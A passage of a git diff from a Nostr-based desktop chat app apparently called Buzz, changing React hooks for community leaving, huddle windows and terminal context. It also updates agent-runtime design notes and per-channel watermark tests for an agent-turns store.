+        (unreadFeedItemIds.has(item.id) ||
+          item.createdAt > (getChannelActivityItemReadAt(item) ?? 0)),
+    );
+  }, [
+    getChannelActivityItemReadAt,
+    locallyUnreadFeedItems,
+    readStateVersion,
+    threadActivityFeedItems,
+    unreadFeedItemIds,
+  ]);
+  const unreadThreadChannelIds = React.useMemo(
+    () =>
+      new Set(
+        unreadThreadFeedItems.flatMap((item) =>
+          item.channelId ? [item.channelId] : [],
+        ),
+      ) as ReadonlySet<string>,
+    [unreadThreadFeedItems],
+  );
+
+  return {
+    getThreadReadAt,
+    markThreadRead,
+    getMessageReadAt,
+    getChannelActivityItemReadAt,
+    markMessageRead,
+    threadActivityFeedItems,
+    locallyUnreadFeedItems,
+    unreadThreadFeedItems,
+    unreadThreadChannelIds,
+  };
+}
diff --git a/desktop/src/app/useCommunityNavigationTransitions.ts b/desktop/src/app/useCommunityNavigationTransitions.ts
index 88acb30ad0..d2cf39fbc7 100644
--- a/desktop/src/app/useCommunityNavigationTransitions.ts
+++ b/desktop/src/app/useCommunityNavigationTransitions.ts
@@ -12,7 +12,9 @@ import {
   markPendingCommunityRestore,
   saveCommunityDestination,
 } from "@/features/communities/communityNavigationStorage";
+import { markCommunityDiscoveryAfterLeave } from "@/features/communities/communityStorage";
 import type { useCommunities } from "@/features/communities/useCommunities";
+import { leaveCommunity } from "@/features/communities/leaveCommunity";
 
 type Communities = ReturnType<typeof useCommunities>;
 type ShellRoute = ReturnType<typeof deriveShellRoute>;
@@ -71,14 +73,38 @@ export function useCommunityNavigationTransitions({
 
   const removeCommunity = React.useCallback(
     async (id: string) => {
-      if (id !== communities.activeCommunity?.id) {
-        communities.removeCommunity(id);
-        return;
-      }
+      const target = communities.communities.find(
+        (community) => community.id === id,
+      );
+      if (!target) return;
+
       const fallback = communities.communities.find(
         (community) => community.id !== id,
       );
-      if (!fallback) return;
+
+      // Do not touch local state until this relay has explicitly accepted the
+      // signed NIP-43 leave request. Rejections and timeouts bubble back to the
+      // dialog so the person can retry without losing their community config.
+      const leaveResult = await leaveCommunity(
+        target.relayUrl,
+        communities.activeCommunity?.relayUrl,
+      );
+
+      if (id !== communities.activeCommunity?.id) {
+        communities.removeCommunity(id);
+        return leaveResult;
+      }
+
+      if (!fallback) {
+        if (!markCommunityDiscoveryAfterLeave()) {
+          throw new Error(
+            "Membership was removed, but community discovery state could not be saved. Restart Buzz and try again.",
+          );
+        }
+        await goHome({ replace: true });
+        communities.removeCommunity(id);
+        return leaveResult;
+      }
 
       await runCommunityViewTransition(async () => {
         saveActiveDestination();
@@ -93,6 +119,7 @@ export function useCommunityNavigationTransitions({
         }
         communities.removeCommunity(id);
       });
+      return leaveResult;
     },
     [communities, goHome, router.history, saveActiveDestination],
   );
diff --git a/desktop/src/app/useHuddlePresentation.ts b/desktop/src/app/useHuddlePresentation.ts
new file mode 100644
index 0000000000..a82916d044
--- /dev/null
+++ b/desktop/src/app/useHuddlePresentation.ts
@@ -0,0 +1,465 @@
+import { useQueryClient } from "@tanstack/react-query";
+import { useLocation } from "@tanstack/react-router";
+import { invoke } from "@tauri-apps/api/core";
+import { listen } from "@tauri-apps/api/event";
+import * as React from "react";
+import {
+  loadHuddleBackingChannelIds,
+  rememberHuddleBackingChannelId,
+} from "@/app/huddleBackingChannelStorage";
+import { useAppNavigation } from "@/app/navigation/useAppNavigation";
+import { channelsQueryKey } from "@/features/channels/hooks";
+import { huddleWindowChannelId } from "@/features/huddle/lib/huddleWindow";
+import {
+  channelMessagesKey,
+  channelWindowKey,
+} from "@/features/messages/lib/messageQueryKeys";
+
+type HuddleTranscriptRouteState = {
+  phase:
+    | "idle"
+    | "creating"
+    | "connecting"
+    | "connected"
+    | "active"
+    | "leaving";
+  parent_channel_id: string | null;
+  ephemeral_channel_id: string | null;
+  huddle_thread_event_id: string | null;
+};
+
+export function useHuddlePresentation() {
+  const huddleRoomChannelId = huddleWindowChannelId();
+  const isHuddleRoom = huddleRoomChannelId !== null;
+  const [isHuddleDrawerOpen, setIsHuddleDrawerOpen] = React.useState(false);
+  const [isHuddleCompanionOpen, setIsHuddleCompanionOpen] =
+    React.useState(false);
+  const [isHuddleStartPending, setIsHuddleStartPending] = React.useState(false);
+  const [revealedHuddleChannelIds, setRevealedHuddleChannelIds] =
+    React.useState<ReadonlySet<string>>(() => new Set());
+  const [huddleBackingChannelIds, setHuddleBackingChannelIds] = React.useState<
+    ReadonlySet<string>
+  >(loadHuddleBackingChannelIds);
+  const activeHuddleChannelIdRef = React.useRef<string | null>(null);
+  const huddleCompanionChannelIdRef = React.useRef<string | null>(null);
+  const huddleCompanionDismissedChannelIdRef = React.useRef<string | null>(
+    null,
+  );
+  const huddleCompanionOpenPromiseRef = React.useRef<Promise<void> | null>(
+    null,
+  );
+  const activeHuddleParentChannelIdRef = React.useRef<string | null>(null);
+  const [huddleTranscriptRoute, setHuddleTranscriptRoute] =
+    React.useState<HuddleTranscriptRouteState | null>(null);
+  const location = useLocation();
+  const queryClient = useQueryClient();
+  const { goChannel } = useAppNavigation();
+
+  React.useEffect(() => {
+    if (!isHuddleRoom) return;
+
+    let cancelled = false;
+    let unlisten: (() => void) | null = null;
+    const syncRoute = (state: HuddleTranscriptRouteState) => {
+      if (!cancelled) setHuddleTranscriptRoute(state);
+    };
+
+    void invoke<HuddleTranscriptRouteState>("get_huddle_state")
+      .then(syncRoute)
+      .catch((error) => {
+        console.error("Failed to resolve huddle transcript route:", error);
+        if (!cancelled) {
+          setHuddleTranscriptRoute({
+            ephemeral_channel_id: huddleRoomChannelId,
+            huddle_thread_event_id: null,
+            parent_channel_id: null,
+            phase: "active",
+          });
+        }
+      });
+    void listen<HuddleTranscriptRouteState>("huddle-state-changed", (event) =>
+      syncRoute(event.payload),
+    ).then((cleanup) => {
+      if (cancelled) cleanup();
+      else unlisten = cleanup;
+    });
+
+    return () => {
+      cancelled = true;
+      unlisten?.();
+    };
+  }, [huddleRoomChannelId, isHuddleRoom]);
+
+  const huddleRouteResolved = huddleTranscriptRoute !== null;
+  const huddleRouteEphemeralChannelId =
+    huddleTranscriptRoute?.ephemeral_channel_id ?? null;
+  const huddleRouteIsActive = huddleTranscriptRoute?.phase === "active";
+  const huddleRouteDestinationChannelId =
+    huddleRouteEphemeralChannelId ?? huddleRoomChannelId;
+  const huddleRouteMatchesLocation = Boolean(
+    huddleRouteDestinationChannelId &&
+      location.pathname === `/channels/${huddleRouteDestinationChannelId}`,
+  );
+  const isHuddleRoomStarting =
+    isHuddleRoom &&
+    (!huddleRouteResolved ||
+      !huddleRouteIsActive ||
+      !huddleRouteMatchesLocation);
+
+  React.useEffect(() => {
+    if (!huddleRoomChannelId || !huddleRouteResolved || !huddleRouteIsActive) {
+      return;
+    }
+
+    let cancelled = false;
+    const channelId = huddleRouteEphemeralChannelId ?? huddleRoomChannelId;
+    void Promise.all([
+      queryClient.invalidateQueries({ queryKey: channelsQueryKey }),
+      queryClient.invalidateQueries({
+        queryKey: channelMessagesKey(channelId),
+      }),
+      queryClient.invalidateQueries({ queryKey: channelWindowKey(channelId) }),
+    ]).then(() => {
+      if (!cancelled) void goChannel(channelId, { replace: true });
+    });
+
+    return () => {
+      cancelled = true;
+    };
+  }, [
+    goChannel,
+    huddleRoomChannelId,
+    huddleRouteEphemeralChannelId,
+    huddleRouteIsActive,
+    huddleRouteResolved,
+    queryClient,
+  ]);
+
+  const handleHuddleStartPendingChange = React.useCallback(
+    (pending: boolean) => {
+      setIsHuddleStartPending(pending);
+      if (pending) setIsHuddleDrawerOpen(false);
+    },
+    [],
+  );
+  const handleHuddleVisibilityChange = React.useCallback(
+    (visible: boolean) => {
+      setIsHuddleDrawerOpen(
+        visible && !isHuddleStartPending && !isHuddleCompanionOpen,
+      );
+    },
+    [isHuddleCompanionOpen, isHuddleStartPending],
+  );
+  const hideHuddleChannel = React.useCallback(
+    (ephemeralChannelId: string | null | undefined) => {
+      if (!ephemeralChannelId) return;
+      setRevealedHuddleChannelIds((current) => {
+        if (!current.has(ephemeralChannelId)) return current;
+        const next = new Set(current);
+        next.delete(ephemeralChannelId);
+        return next;
+      });
+    },
+    [],
+  );
+  const trackHuddleBackingChannel = React.useCallback(
+    (ephemeralChannelId: string) => {
+      rememberHuddleBackingChannelId(ephemeralChannelId);
+      setHuddleBackingChannelIds((current) => {
+        if (current.has(ephemeralChannelId)) return current;
+        const next = new Set(current);
+        next.add(ephemeralChannelId);
+        return next;
+      });
+    },
+    [],
+  );
+  const revealHuddleChannel = React.useCallback(
+    (ephemeralChannelId: string) => {
+      setRevealedHuddleChannelIds((current) => {
+        if (current.has(ephemeralChannelId)) return current;
+        const next = new Set(current);
+        next.add(ephemeralChannelId);
+        return next;
+      });
+    },
+    [],
+  );
+  const returnMainWindowToHuddleParent = React.useCallback(
+    (state: HuddleTranscriptRouteState) => {
+      const ephemeralChannelId = state.ephemeral_channel_id;
+      const parentChannelId = state.parent_channel_id;
+      if (parentChannelId) {
+        activeHuddleParentChannelIdRef.current = parentChannelId;
+      }
+      if (
+        ephemeralChannelId &&
+        parentChannelId &&
+        location.pathname === `/channels/${ephemeralChannelId}`
+      ) {
+        void goChannel(parentChannelId, { replace: true });
+      }
+    },
+    [goChannel, location.pathname],
+  );
+  const returnToHuddleParentAfterEnd = React.useCallback(
+    (ephemeralChannelId: string | null, parentChannelId: string | null) => {
+      if (
+        ephemeralChannelId &&
+        parentChannelId &&
+        location.pathname === `/channels/${ephemeralChannelId}`
+      ) {
+        void goChannel(parentChannelId, { replace: true });
+      }
+    },
+    [goChannel, location.pathname],
+  );
+  const handleHuddleCompanionOpen = React.useCallback(() => {
+    const ephemeralChannelId = activeHuddleChannelIdRef.current;
+    huddleCompanionDismissedChannelIdRef.current = null;
+    hideHuddleChannel(ephemeralChannelId);
+    setIsHuddleDrawerOpen(false);
+    setIsHuddleCompanionOpen(true);
+
+    const parentChannelId = activeHuddleParentChannelIdRef.current;
+    if (
+      ephemeralChannelId &&
+      parentChannelId &&
+      location.pathname === `/channels/${ephemeralChannelId}`
+    ) {
+      void goChannel(parentChannelId, { replace: true });
+      return;
+    }
+
+    void invoke<HuddleTranscriptRouteState>("get_huddle_state")
+      .then(returnMainWindowToHuddleParent)
+      .catch((error) => {
+        console.error("Failed to restore the huddle parent channel:", error);
+      });
+  }, [
+    goChannel,
+    hideHuddleChannel,
+    location.pathname,
+    returnMainWindowToHuddleParent,
+  ]);
+  const openHuddleCompanion = React.useCallback(
+    (ephemeralChannelId: string) => {
+      activeHuddleChannelIdRef.current = ephemeralChannelId;
+      trackHuddleBackingChannel(ephemeralChannelId);
+
+      if (huddleCompanionDismissedChannelIdRef.current === ephemeralChannelId) {
+        return Promise.resolve();
+      }
+
+      huddleCompanionDismissedChannelIdRef.current = null;
+      hideHuddleChannel(ephemeralChannelId);
+      setIsHuddleDrawerOpen(false);
+      setIsHuddleCompanionOpen(true);
+
+      if (
+        huddleCompanionChannelIdRef.current === ephemeralChannelId &&
+        huddleCompanionOpenPromiseRef.current
+      ) {
+        return huddleCompanionOpenPromiseRef.current;
+      }
+
+      huddleCompanionChannelIdRef.current = ephemeralChannelId;
+      const openPromise = invoke<void>("open_huddle_window").catch((error) => {
+        if (huddleCompanionChannelIdRef.current === ephemeralChannelId) {
+          huddleCompanionChannelIdRef.current = null;
+          huddleCompanionOpenPromiseRef.current = null;
+          setIsHuddleCompanionOpen(false);
+        }
+        throw error;
+      });
+      huddleCompanionOpenPromiseRef.current = openPromise;
+      return openPromise;
+    },
+    [hideHuddleChannel, trackHuddleBackingChannel],
+  );
+  const handleHuddleStarted = React.useCallback(
+    async (ephemeralChannelId: string) => {
+      try {
+        await openHuddleCompanion(ephemeralChannelId);
+      } catch (error) {
+        revealHuddleChannel(ephemeralChannelId);
+        throw error;
+      }
+    },
+    [openHuddleCompanion, revealHuddleChannel],
+  );
+  const viewHuddleChannel = React.useCallback(
+    (ephemeralChannelId: string) => {
+      revealHuddleChannel(ephemeralChannelId);
+      void queryClient.invalidateQueries({ queryKey: channelsQueryKey });
+      void queryClient.invalidateQueries({
+        queryKey: channelMessagesKey(ephemeralChannelId),
+      });
+      void queryClient.invalidateQueries({
+        queryKey: channelWindowKey(ephemeralChannelId),
+      });
+      void goChannel(ephemeralChannelId);
+    },
+    [goChannel, queryClient, revealHuddleChannel],
+  );
+  const showHuddleInMainApp = React.useCallback(
+    (ephemeralChannelId: string) => {
+      activeHuddleChannelIdRef.current = ephemeralChannelId;
+      trackHuddleBackingChannel(ephemeralChannelId);
+      viewHuddleChannel(ephemeralChannelId);
+    },
+    [trackHuddleBackingChannel, viewHuddleChannel],
+  );
+  const handleSidebarChannelSelect = React.useCallback(
+    (channelId: string) => {
+      if (
+        isHuddleDrawerOpen &&
+        channelId === activeHuddleChannelIdRef.current
+      ) {
+        showHuddleInMainApp(channelId);
+        return;
+      }
+      void goChannel(channelId);
+    },
+    [goChannel, isHuddleDrawerOpen, showHuddleInMainApp],
+  );
+  const handleHuddleEnded = React.useCallback(
+    (ephemeralChannelId: string | null) => {
+      const endedChannelId =
+        ephemeralChannelId ?? activeHuddleChannelIdRef.current;
+      returnToHuddleParentAfterEnd(
+        endedChannelId,
+        activeHuddleParentChannelIdRef.current,
+      );
+      hideHuddleChannel(endedChannelId);
+      activeHuddleChannelIdRef.current = null;
+      activeHuddleParentChannelIdRef.current = null;
+      huddleCompanionChannelIdRef.current = null;
+      huddleCompanionDismissedChannelIdRef.current = null;
+      huddleCompanionOpenPromiseRef.current = null;
+      setIsHuddleCompanionOpen(false);
+      void queryClient.invalidateQueries({ queryKey: channelsQueryKey });
+    },
+    [hideHuddleChannel, queryClient, returnToHuddleParentAfterEnd],
+  );
+
+  React.useEffect(() => {
+    if (isHuddleRoom) return;
+
+    let cancelled = false;
+    let unlisten: (() => void) | null = null;
+    void listen("huddle-companion-returned", () => {
+      if (cancelled) return;
+      huddleCompanionDismissedChannelIdRef.current =
+        activeHuddleChannelIdRef.current;
+      huddleCompanionChannelIdRef.current = null;
+      huddleCompanionOpenPromiseRef.current = null;
+      setIsHuddleCompanionOpen(false);
+      setIsHuddleDrawerOpen(true);
+      void invoke<HuddleTranscriptRouteState>("get_huddle_state")
+        .then((state) => {
+          if (!state.ephemeral_channel_id) return;
+          if (state.parent_channel_id) {
+            activeHuddleParentChannelIdRef.current = state.parent_channel_id;
+          }
+          showHuddleInMainApp(state.ephemeral_channel_id);
+        })
+        .catch((error) => {
+          console.error("Failed to open huddle in the main app:", error);
+        });
+    }).then((cleanup) => {
+      if (cancelled) cleanup();
+      else unlisten = cleanup;
+    });
+    return () => {
+      cancelled = true;
+      unlisten?.();
+    };
+  }, [isHuddleRoom, showHuddleInMainApp]);
+
+  React.useEffect(() => {
+    let cancelled = false;
+    let unlisten: (() => void) | null = null;
+    void invoke<HuddleTranscriptRouteState>("get_huddle_state")
+      .then((state) => {
+        if (cancelled || !state.ephemeral_channel_id) return;
+        activeHuddleChannelIdRef.current = state.ephemeral_channel_id;
+        trackHuddleBackingChannel(state.ephemeral_channel_id);
+        if (state.parent_channel_id) {
+          activeHuddleParentChannelIdRef.current = state.parent_channel_id;
+        }
+      })
+      .catch(() => {
+        /* lifecycle events remain authoritative */
+      });
+    listen<HuddleTranscriptRouteState>("huddle-state-changed", (event) => {
+      if (cancelled) return;
+      if (event.payload.ephemeral_channel_id) {
+        activeHuddleChannelIdRef.current = event.payload.ephemeral_channel_id;
+        trackHuddleBackingChannel(event.payload.ephemeral_channel_id);
+      }
+      if (event.payload.parent_channel_id) {
+        activeHuddleParentChannelIdRef.current =
+          event.payload.parent_channel_id;
+      }
+      if (
+        !isHuddleRoom &&
+        event.payload.phase === "creating" &&
+        event.payload.ephemeral_channel_id
+      ) {
+        void openHuddleCompanion(event.payload.ephemeral_channel_id).catch(
+          (error) => {
+            console.error("Failed to open starting huddle window:", error);
+          },
+        );
+      }
+      if (event.payload.phase === "idle") {
+        const endedChannelId = activeHuddleChannelIdRef.current;
+        const parentChannelId = activeHuddleParentChannelIdRef.current;
+        returnToHuddleParentAfterEnd(endedChannelId, parentChannelId);
+        hideHuddleChannel(endedChannelId);
+        activeHuddleChannelIdRef.current = null;
+        activeHuddleParentChannelIdRef.current = null;
+        huddleCompanionChannelIdRef.current = null;
+        huddleCompanionDismissedChannelIdRef.current = null;
+        huddleCompanionOpenPromiseRef.current = null;
+        setIsHuddleDrawerOpen(false);
+        setIsHuddleCompanionOpen(false);
+        setIsHuddleStartPending(false);
+        void queryClient.invalidateQueries({ queryKey: channelsQueryKey });
+      }
+    }).then((cleanup) => {
+      if (cancelled) cleanup();
+      else unlisten = cleanup;
+    });
+    return () => {
+      cancelled = true;
+      unlisten?.();
+    };
+  }, [
+    hideHuddleChannel,
+    isHuddleRoom,
+    openHuddleCompanion,
+    queryClient,
+    returnToHuddleParentAfterEnd,
+    trackHuddleBackingChannel,
+  ]);
+
+  return {
+    handleHuddleCompanionOpen,
+    handleHuddleEnded,
+    handleHuddleStartPendingChange,
+    handleHuddleStarted,
+    handleHuddleVisibilityChange,
+    handleSidebarChannelSelect,
+    huddleBackingChannelIds,
+    revealedHuddleChannelIds,
+    isHuddleCompanionOpen,
+    isHuddleDrawerOpen,
+    isHuddleRoom,
+    isHuddleRoomStarting,
+    isHuddleStartPending,
+    showHuddleInMainApp,
+    viewHuddleChannel,
+  };
+}
diff --git a/desktop/src/app/useSettingsShortcuts.ts b/desktop/src/app/useSettingsShortcuts.ts
index 0d0813a35e..757ddc65e1 100644
--- a/desktop/src/app/useSettingsShortcuts.ts
+++ b/desktop/src/app/useSettingsShortcuts.ts
@@ -5,7 +5,7 @@ import { hasPrimaryShortcutModifier } from "@/shared/lib/platform";
 type UseSettingsShortcutsOptions = {
   onClose: () => void;
   onOpenSettings: () => void;
-  open: boolean;
+  open?: boolean;
 };
 
 export function useSettingsShortcuts({
@@ -14,6 +14,8 @@ export function useSettingsShortcuts({
   open,
 }: UseSettingsShortcutsOptions) {
   React.useLayoutEffect(() => {
+    if (open === undefined) return;
+
     function handleKeyDown(event: KeyboardEvent) {
       const isSettingsShortcut =
         hasPrimaryShortcutModifier(event) &&
diff --git a/desktop/src/app/useTerminalContext.ts b/desktop/src/app/useTerminalContext.ts
new file mode 100644
index 0000000000..9f45dd7c37
--- /dev/null
+++ b/desktop/src/app/useTerminalContext.ts
@@ -0,0 +1,56 @@
+import * as React from "react";
+
+import type { Channel } from "@/shared/api/types";
+import { safeNpub } from "@/shared/lib/nostrUtils";
+
+type TerminalContext = {
+  channelId: string | null;
+  channelName: string | null;
+  threadId: string | null;
+  npub: string | null;
+  relayUrl: string | null;
+};
+
+type TerminalContextResult = {
+  activeChannel: Channel | null;
+  terminalContext: TerminalContext;
+};
+
+export function useTerminalContext({
+  channelId,
+  channels,
+  locationSearch,
+  pubkey,
+  relayUrl,
+}: {
+  channelId: string | null;
+  channels: Channel[];
+  locationSearch: unknown;
+  pubkey?: string;
+  relayUrl?: string;
+}): TerminalContextResult {
+  return React.useMemo(() => {
+    const search = locationSearch as {
+      thread?: unknown;
+      threadRootId?: unknown;
+    };
+    const threadId = search.threadRootId ?? search.thread;
+    const activeChannel = channelId
+      ? (channels.find((candidate) => candidate.id === channelId) ?? null)
+      : null;
+
+    return {
+      activeChannel,
+      terminalContext: {
+        channelId,
+        channelName: activeChannel?.name ?? null,
+        threadId:
+          channelId && typeof threadId === "string" && threadId.length > 0
+            ? threadId
+            : null,
+        npub: pubkey ? safeNpub(pubkey) : null,
+        relayUrl: relayUrl ?? null,
+      },
+    };
+  }, [channelId, channels, locationSearch, pubkey, relayUrl]);
+}
diff --git a/desktop/src/features/agents/AGENTS.md b/desktop/src/features/agents/AGENTS.md
index d9222c7032..b929dbb613 100644
--- a/desktop/src/features/agents/AGENTS.md
+++ b/desktop/src/features/agents/AGENTS.md
@@ -19,6 +19,18 @@ never maintains a rival copy of this table. Setup guidance follows the same
 rule: `requires_external_cli` is derived from `KnownAcpRuntime` and projected
 to the UI rather than inferred from a runtime ID in a component.
 
+**Second metadata source: command-keyed execution policy.**
+`harness_max_parallelism` (`managed_agents/parallelism.rs`) maps the harness's
+static command string to a spawn-time cap (`OPENCLAW_MAX_PARALLELISM = 5` for
+OpenClaw). This cap is not a `KnownAcpRuntime` field because it applies to
+preset harnesses (like OpenClaw) that are not in the builtin catalog. It is
+projected onto `AcpRuntimeCatalogEntry.max_parallelism` by all four
+catalog-producing constructors (builtin discovery, preset catalog, custom
+discovery, custom-save response) using the **static definition command**, not
+the resolved `entry.command` (which may be `null` for unavailable entries).
+The frontend reads `maxParallelism` from the catalog entry and never keeps a
+separate constant.
+
 If you need a new capability fact (a new env key, a native option, a "supports
 X" flag): add it to `KnownAcpRuntime` first, expose it on
 `AcpRuntimeCatalogEntry`, then project it through the core. Do not shortcut
@@ -67,11 +79,17 @@ with a TypeScript lookup table or an id comparison in a component.
 7. **Onboarding setup detects readiness; it does not select defaults.** The
    setup page derives visible and ready harnesses from the runtime catalog and
    only offers install or sign-in actions. The following defaults page is the
-   sole onboarding surface that chooses and persists `preferred_runtime`, and
-   its Finish gate consumes the shared renderer's `onValidityChange` signal —
-   a harness selection alone does not complete onboarding when the harness
+   sole onboarding surface that chooses `preferred_runtime`. Its complete draft
+   lives in machine-onboarding session state, so Back performs no write and
+   restores even incomplete edits when the user returns. Skip abandons that
+   draft and advances with zero config writes. Next is the only persistence
+   boundary: it consumes the shared renderer's `onValidityChange` signal,
+   disables editing while awaiting `set_global_agent_config`, advances only on
+   success, and leaves the draft in place with a retryable inline error on
+   failure. A harness selection alone does not enable Next when the harness
    requires provider/model/credential config (e.g. buzz-agent with no
-   provider). Baked build env and runtime-file config satisfy the gate.
+   provider). Baked build env and runtime-file config satisfy the gate. Drafts
+   intentionally do not survive an app restart.
    `onboarding-agent-defaults.spec.ts` is the acceptance gate for anything
    touching this flow or the shared renderer.
 8. **Omit the Model control only after a confirmed successful empty
@@ -146,7 +164,10 @@ with a TypeScript lookup table or an id comparison in a component.
    shown; when it *is* remote they picked that host from the selector
    themselves. Never synthesize a run location a surface doesn't have. Don't
    expose `respond-to`, `allowlist`, Nostr, or harness jargon in primary UI
-   copy.
+   copy. **The owner-only-access build capability is backend-independent.** When
+   `getAgentAccessOwnerOnly()` is true, every managed agent's access control is
+   locked to owner-only, including provider-backed agents. A provider backend
+   does not prove remote execution and must never create a policy carve-out.
 
 ## The tests that enforce this
 
@@ -168,8 +189,9 @@ with a TypeScript lookup table or an id comparison in a component.
   plus both resolvers, including unknown-reads-as-local and
   blank-`runOn`-is-not-a-provider.
 - `desktop/tests/e2e/onboarding-agent-defaults.spec.ts` — onboarding behavior
-  acceptance coverage for readiness, failure states, defaults, navigation,
-  successful-empty vs failed optional-model discovery, and persistence races.
+  acceptance coverage for readiness, failure states, defaults, session-draft
+  restoration, zero-write Skip, Next save failure/retry, navigation, and
+  successful-empty vs failed optional-model discovery.
 - Rust: `runtime_metadata_env_vars` tests pin spawn-time key application.
 - Rust: persona sharing/retention tests pin relay+owner scoping, durable
   enqueue errors, relay rejection/unavailability, and accepted publication.
diff --git a/desktop/src/features/agents/activeAgentTurnsStore.test.mjs b/desktop/src/features/agents/activeAgentTurnsStore.test.mjs
index d78d1d21af..e3e3b3e756 100644
--- a/desktop/src/features/agents/activeAgentTurnsStore.test.mjs
+++ b/desktop/src/features/agents/activeAgentTurnsStore.test.mjs
@@ -59,30 +59,47 @@ describe("activeAgentTurnsStore", () => {
       assert.ok(channels.has("c1"));
     });
 
-    it("skips events at or below the watermark", () => {
+    it("skips events at or below their channel's watermark", () => {
+      syncAgentTurnsFromEvents(AGENT, [
+        makeEvent({ seq: 5, turnId: "t1", channelId: "c1" }),
+      ]);
+      // An older event on the SAME channel is stale — ignored.
+      syncAgentTurnsFromEvents(AGENT, [
+        makeEvent({ seq: 3, turnId: "t1b", channelId: "c1" }),
+      ]);
+      const turns = getActiveTurnsForAgent(AGENT);
+      assert.equal(turns.length, 1);
+      assert.ok(channelIdsOf(turns).has("c1"));
+    });
+
+    it("processes an older event on a DIFFERENT channel (cross-channel reorder)", () => {
+      // The harness's batching packer may publish channel frames out of
+      // arrival order; each channel gates independently.
       syncAgentTurnsFromEvents(AGENT, [
         makeEvent({ seq: 5, turnId: "t1", channelId: "c1" }),
       ]);
-      // Try to process an older event — should be ignored
       syncAgentTurnsFromEvents(AGENT, [
         makeEvent({ seq: 3, turnId: "t2", channelId: "c2" }),
       ]);
       const channels = channelIdsOf(getActiveTurnsForAgent(AGENT));
-      assert.equal(channels.size, 1);
+      assert.equal(channels.size, 2);
       assert.ok(channels.has("c1"));
-      assert.ok(!channels.has("c2"));
+      assert.ok(
+        channels.has("c2"),
+        "a delayed channel's events must not be skipped as stale",
+      );
     });
 
-    it("skips duplicate seq", () => {
+    it("skips duplicate seq on the same channel", () => {
       syncAgentTurnsFromEvents(AGENT, [
         makeEvent({ seq: 1, turnId: "t1", channelId: "c1" }),
       ]);
       syncAgentTurnsFromEvents(AGENT, [
-        makeEvent({ seq: 1, turnId: "t2", channelId: "c2" }),
+        makeEvent({ seq: 1, turnId: "t1-dup", channelId: "c1" }),
       ]);
-      const channels = channelIdsOf(getActiveTurnsForAgent(AGENT));
-      assert.equal(channels.size, 1);
-      assert.ok(channels.has("c1"));
+      const turns = getActiveTurnsForAgent(AGENT);
+      assert.equal(turns.length, 1);
+      assert.ok(channelIdsOf(turns).has("c1"));
     });
   });
 
@@ -631,6 +648,85 @@ describe("activeAgentTurnsStore", () => {
 
       assert.equal(notified, 0, "replayed evictions must not notify listeners");
     });
+
+    it("cross-channel-delayed null-turnId turn_error evicts only its own channel's turn", () => {
+      // Sami's redteam target for gather-packing: channel frames may publish
+      // out of arrival order, so an OLDER turn_error on channel B can arrive
+      // AFTER newer events on channel A. Its null-turnId fallback must evict
+      // only B's turn — never A's live one — and it must not be skipped as
+      // stale either (B's own watermark hasn't seen it).
+      syncAgentTurnsFromEvents(AGENT, [
+        // Channel A's frame arrives first, carrying the NEWER events.
+        makeEvent({
+          seq: 10,
+          turnId: "t-a",
+          channelId: "c-a",
+          timestamp: "2024-01-01T00:01:00Z",
+        }),
+      ]);
+      syncAgentTurnsFromEvents(AGENT, [
+        // Channel B's frame arrives second with OLDER events, in B's own
+        // FIFO order (the harness preserves within-channel order).
+        makeEvent({
+          seq: 1,
+          turnId: "t-b",
+          channelId: "c-b",
+          timestamp: "2024-01-01T00:00:00Z",
+        }),
+        makeEvent({
+          seq: 2,
+          kind: "turn_error",
+          turnId: null,
+          channelId: "c-b",
+          timestamp: "2024-01-01T00:00:01Z",
+        }),
+      ]);
+
+      const channels = channelIdsOf(getActiveTurnsForAgent(AGENT));
+      assert.ok(
+        channels.has("c-a"),
+        "the delayed channel's eviction must not kill the other channel's live turn",
+      );
+      assert.ok(!channels.has("c-b"), "B's own errored turn must be evicted");
+    });
+
+    it("null-channel events gate against their own per-agent bucket", () => {
+      // A null-channel agent_panic has no channel watermark; it lands in the
+      // dedicated null bucket. Replaying it must be a no-op, and it must not
+      // advance (or be gated by) any real channel's watermark.
+      const panic = makeEvent({
+        seq: 20,
+        kind: "agent_panic",
+        turnId: null,
+        channelId: null,
+        timestamp: "2024-01-01T00:02:00Z",
+      });
+      syncAgentTurnsFromEvents(AGENT, [panic]);
+
+      // An older event on a real channel still processes — the panic's newer
+      // timestamp lives in the null bucket, not the channel's.
+      syncAgentTurnsFromEvents(AGENT, [
+        makeEvent({
+          seq: 1,
+          turnId: "t1",
+          channelId: "c1",
+          timestamp: "2024-01-01T00:00:00Z",
+        }),
+      ]);
+      assert.ok(
+        channelIdsOf(getActiveTurnsForAgent(AGENT)).has("c1"),
+        "a null-channel event must not raise real channels' watermarks",
+      );
+
+      // Replaying the panic is gated by the null bucket: no notification.
+      let notified = 0;
+      const unsub = subscribeActiveAgentTurns(() => {
+        notified++;
+      });
+      syncAgentTurnsFromEvents(AGENT, [panic]);
+      unsub();
+      assert.equal(notified, 0, "replayed null-channel event must be a no-op");
+    });
   });
 
   describe("getActiveTurnsForAgent", () => {
@@ -1674,7 +1770,7 @@ describe("community-switch save / restore", () => {
     resetActiveAgentTurnsStore();
     restoreActiveAgentTurnsForCommunity("ws-a");
 
-    // Replaying an event at or below the watermark must be a no-op.
+    // Replaying an event at or below its channel's watermark must be a no-op.
     let notified = 0;
     const unsub = subscribeActiveAgentTurns(() => {
       notified++;
@@ -1682,18 +1778,164 @@ describe("community-switch save / restore", () => {
     syncAgentTurnsFromEvents(AGENT, [
       makeEvent({
         seq: 3,
-        turnId: "t2",
-        channelId: "c2",
+        turnId: "t1-stale",
+        channelId: "c1",
         timestamp: "2024-01-01T00:00:00Z",
       }),
     ]);
     unsub();
 
     assert.equal(notified, 0, "stale event after restore must not notify");
-    const channels = new Set(
-      getActiveTurnsForAgent(AGENT).map((s) => s.channelId),
+    const turns = getActiveTurnsForAgent(AGENT);
+    assert.equal(turns.length, 1, "stale event must not add a turn");
+  });
+
+  it("snapshot watermarks are isolated — live advances after save must not leak into the snapshot", () => {
+    // Save with the channel watermark at seq 5.
+    syncAgentTurnsFromEvents(AGENT, [
+      makeEvent({
+        seq: 5,
+        turnId: "t1",
+        channelId: "c1",
+        timestamp: "2024-01-01T00:00:00Z",
+      }),
+    ]);
+    saveActiveAgentTurnsForCommunity("ws-a");
+
+    // Keep working in the live store AFTER the save: the watermark advances
+    // to seq 10 by mutating the same inner per-agent map the snapshot cloned.
+    // If save aliased instead of deep-cloning, this leaks into the snapshot.
+    syncAgentTurnsFromEvents(AGENT, [
+      makeEvent({
+        seq: 10,
+        turnId: "t10",
+        channelId: "c1",
+        timestamp: "2024-01-01T00:00:20Z",
+      }),
+    ]);
+
